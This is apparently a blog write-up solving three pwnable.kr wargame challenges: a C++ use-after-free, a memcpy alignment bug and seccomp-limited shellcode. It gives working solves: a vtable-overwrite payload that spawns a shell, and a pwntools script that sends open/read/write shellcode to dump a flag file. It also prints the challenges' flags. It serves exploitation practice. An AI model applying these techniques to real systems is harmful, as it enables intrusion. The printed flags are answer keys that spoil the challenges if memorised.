pwnable.kr_2


13.uaf

question

#include <fcntl.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;

class Human{
private:
  virtual void give_shell(){
    system("/bin/sh");
  }
protected:
  int age;
  string name;
public:
  virtual void introduce(){
    cout << "My name is " << name << endl;
    cout << "I am " << age << " years old" << endl;
  }
};

class Man: public Human{
public:
  Man(string name, int age){
    this->name = name;
    this->age = age;
        }
        virtual void introduce(){
    Human::introduce();
                cout << "I am a nice guy!" << endl;
        }
};

class Woman: public Human{
public:
        Woman(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a cute girl!" << endl;
        }
};

int main(int argc, char* argv[]){
  Human* m = new Man("Jack", 25);
  Human* w = new Woman("Jill", 21);

  size_t len;
  char* data;
  unsigned int op;
  while(1){
    cout << "1. use\n2. after\n3. free\n";
    cin >> op;

    switch(op){
      case 1:
        m->introduce();
        w->introduce();
        break;
      case 2:
        len = atoi(argv[1]);
        data = new char[len];
        read(open(argv[2], O_RDONLY), data, len);
        cout << "your data is allocated" << endl;
        break;
      case 3:
        delete m;
        delete w;
        break;
      default:
        break;
    }
  }

  return 0;
}

solve

python -c "print '\x68\x15\x40\x00\x00\x00\x00\x00'" >/tmp/poc
./uaf 24 /tmp/poc

1. use
2. after
3. free
3
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
1
$ ls
flag  uaf  uaf.cpp
$ cat flag
yay_f1ag_aft3r_pwning

flag

yay_f1ag_aft3r_pwning

14.memcpy

question

// compiled with : gcc -o memcpy memcpy.c -m32 -lm
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <sys/mman.h>
#include <math.h>

unsigned long long rdtsc(){
        asm("rdtsc");
}

char* slow_memcpy(char* dest, const char* src, size_t len){
  int i;
  for (i=0; i<len; i++) {
    dest[i] = src[i];
  }
  return dest;
}

char* fast_memcpy(char* dest, const char* src, size_t len){
  size_t i;
  // 64-byte block fast copy
  if(len >= 64){
    i = len / 64;
    len &= (64-1);
    while(i-- > 0){
      __asm__ __volatile__ (
      "movdqa (%0), %%xmm0\n"
      "movdqa 16(%0), %%xmm1\n"
      "movdqa 32(%0), %%xmm2\n"
      "movdqa 48(%0), %%xmm3\n"
      "movntps %%xmm0, (%1)\n"
      "movntps %%xmm1, 16(%1)\n"
      "movntps %%xmm2, 32(%1)\n"
      "movntps %%xmm3, 48(%1)\n"
      ::"r"(src),"r"(dest):"memory");
      dest += 64;
      src += 64;
    }
  }

  // byte-to-byte slow copy
  if(len) slow_memcpy(dest, src, len);
  return dest;
}

int main(void){

  setvbuf(stdout, 0, _IONBF, 0);
  setvbuf(stdin, 0, _IOLBF, 0);

  printf("Hey, I have a boring assignment for CS class.. :(\n");
  printf("The assignment is simple.\n");

  printf("-----------------------------------------------------\n");
  printf("- What is the best implementation of memcpy?        -\n");
  printf("- 1. implement your own slow/fast version of memcpy -\n");
  printf("- 2. compare them with various size of data         -\n");
  printf("- 3. conclude your experiment and submit report     -\n");
  printf("-----------------------------------------------------\n");

  printf("This time, just help me out with my experiment and get flag\n");
  printf("No fancy hacking, I promise :D\n");

  unsigned long long t1, t2;
  int e;
  char* src;
  char* dest;
  unsigned int low, high;
  unsigned int size;
  // allocate memory
  char* cache1 = mmap(0, 0x4000, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
  char* cache2 = mmap(0, 0x4000, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
  src = mmap(0, 0x2000, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);

  size_t sizes[10];
  int i=0;

  // setup experiment parameters
  for(e=4; e<14; e++){  // 2^13 = 8K
    low = pow(2,e-1);
    high = pow(2,e);
    printf("specify the memcpy amount between %d ~ %d : ", low, high);
    scanf("%d", &size);
    if( size < low || size > high ){
      printf("don't mess with the experiment.\n");
      exit(0);
    }
    sizes[i++] = size;
  }

  sleep(1);
  printf("ok, lets run the experiment with your configuration\n");
  sleep(1);

  // run experiment
  for(i=0; i<10; i++){
    size = sizes[i];
    printf("experiment %d : memcpy with buffer size %d\n", i+1, size);
    dest = malloc( size );

    memcpy(cache1, cache2, 0x4000);   // to eliminate cache effect
    t1 = rdtsc();
    slow_memcpy(dest, src, size);   // byte-to-byte memcpy
    t2 = rdtsc();
    printf("ellapsed CPU cycles for slow_memcpy : %llu\n", t2-t1);

    memcpy(cache1, cache2, 0x4000);   // to eliminate cache effect
    t1 = rdtsc();
    fast_memcpy(dest, src, size);   // block-to-block memcpy
    t2 = rdtsc();
    printf("ellapsed CPU cycles for fast_memcpy : %llu\n", t2-t1);
    printf("\n");
  }

  printf("thanks for helping my experiment!\n");
  printf("flag : ----- erased in this source code -----\n");
  return 0;
}

solve

memcpy@ubuntu:~$ nc 0 9022
Hey, I have a boring assignment for CS class.. :(
The assignment is simple.
-----------------------------------------------------
- What is the best implementation of memcpy?        -
- 1. implement your own slow/fast version of memcpy -
- 2. compare them with various size of data         -
- 3. conclude your experiment and submit report     -
-----------------------------------------------------
This time, just help me out with my experiment and get flag
No fancy hacking, I promise :D
specify the memcpy amount between 8 ~ 16 : 12
specify the memcpy amount between 16 ~ 32 : 28
specify the memcpy amount between 32 ~ 64 : 60
specify the memcpy amount between 64 ~ 128 : 124
specify the memcpy amount between 128 ~ 256 : 252
specify the memcpy amount between 256 ~ 512 : 508
specify the memcpy amount between 512 ~ 1024 : 1020
specify the memcpy amount between 1024 ~ 2048 : 2044
specify the memcpy amount between 2048 ~ 4096 : 4092
specify the memcpy amount between 4096 ~ 8192 : 8188
ok, lets run the experiment with your configuration
experiment 1 : memcpy with buffer size 12
ellapsed CPU cycles for slow_memcpy : 1662
ellapsed CPU cycles for fast_memcpy : 435

experiment 2 : memcpy with buffer size 28
ellapsed CPU cycles for slow_memcpy : 453
ellapsed CPU cycles for fast_memcpy : 498

experiment 3 : memcpy with buffer size 60
ellapsed CPU cycles for slow_memcpy : 882
ellapsed CPU cycles for fast_memcpy : 924

experiment 4 : memcpy with buffer size 124
ellapsed CPU cycles for slow_memcpy : 1731
ellapsed CPU cycles for fast_memcpy : 945

experiment 5 : memcpy with buffer size 252
ellapsed CPU cycles for slow_memcpy : 3453
ellapsed CPU cycles for fast_memcpy : 1029

experiment 6 : memcpy with buffer size 508
ellapsed CPU cycles for slow_memcpy : 7287
ellapsed CPU cycles for fast_memcpy : 1029

experiment 7 : memcpy with buffer size 1020
ellapsed CPU cycles for slow_memcpy : 13728
ellapsed CPU cycles for fast_memcpy : 1131

experiment 8 : memcpy with buffer size 2044
ellapsed CPU cycles for slow_memcpy : 27411
ellapsed CPU cycles for fast_memcpy : 1512

experiment 9 : memcpy with buffer size 4092
ellapsed CPU cycles for slow_memcpy : 57345
ellapsed CPU cycles for fast_memcpy : 2376

experiment 10 : memcpy with buffer size 8188
ellapsed CPU cycles for slow_memcpy : 121659
ellapsed CPU cycles for fast_memcpy : 3969

thanks for helping my experiment!
flag : 1_w4nn4_br34K_th3_m3m0ry_4lignm3nt

flag

1_w4nn4_br34K_th3_m3m0ry_4lignm3nt

15.asm

question

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>

#define LENGTH 128

void sandbox(){
  scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
  if (ctx == NULL) {
    printf("seccomp error\n");
    exit(0);
  }

  seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
  seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
  seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
  seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
  seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);

  if (seccomp_load(ctx) < 0){
    seccomp_release(ctx);
    printf("seccomp error\n");
    exit(0);
  }
  seccomp_release(ctx);
}

char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";
unsigned char filter[256];
int main(int argc, char* argv[]){

  setvbuf(stdout, 0, _IONBF, 0);
  setvbuf(stdin, 0, _IOLBF, 0);

  printf("Welcome to shellcoding practice challenge.\n");
  printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");
  printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");
  printf("If this does not challenge you. you should play 'asg' challenge :)\n");

  char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
  memset(sh, 0x90, 0x1000);
  memcpy(sh, stub, strlen(stub));

  int offset = sizeof(stub);
  printf("give me your x64 shellcode: ");
  read(0, sh+offset, 1000);

  alarm(10);
  chroot("/home/asm_pwn");  // you are in chroot jail. so you can't use symlink in /tmp
  sandbox();
  ((void (*)(void))sh)();
  return 0;
}

solve

first open the file ,than read,from rax to rsp from 100B,print the context from rsp.

#!/user/bin/python
from pwn import *
 
con = ssh(host='pwnable.kr', user='asm', password='guest', port=2222)
p = con.connect_remote('localhost', 9026)
context(arch='amd64', os='linux')
 
shellcode = ""
shellcode += shellcraft.open('this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong')
shellcode += shellcraft.read('rax', 'rsp', 1000)
shellcode += shellcraft.write(1, 'rsp', 1000)
 
#print shellcode
 
print p.recv()
 
p.send(asm(shellcode))
 
print p.recvline()

flag

Mak1ng_shelLcodE_i5_veRy_eaSy

文章作者: xyzz
文章链接: http://www.xyzzpwn.top
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 xyzz !
  目录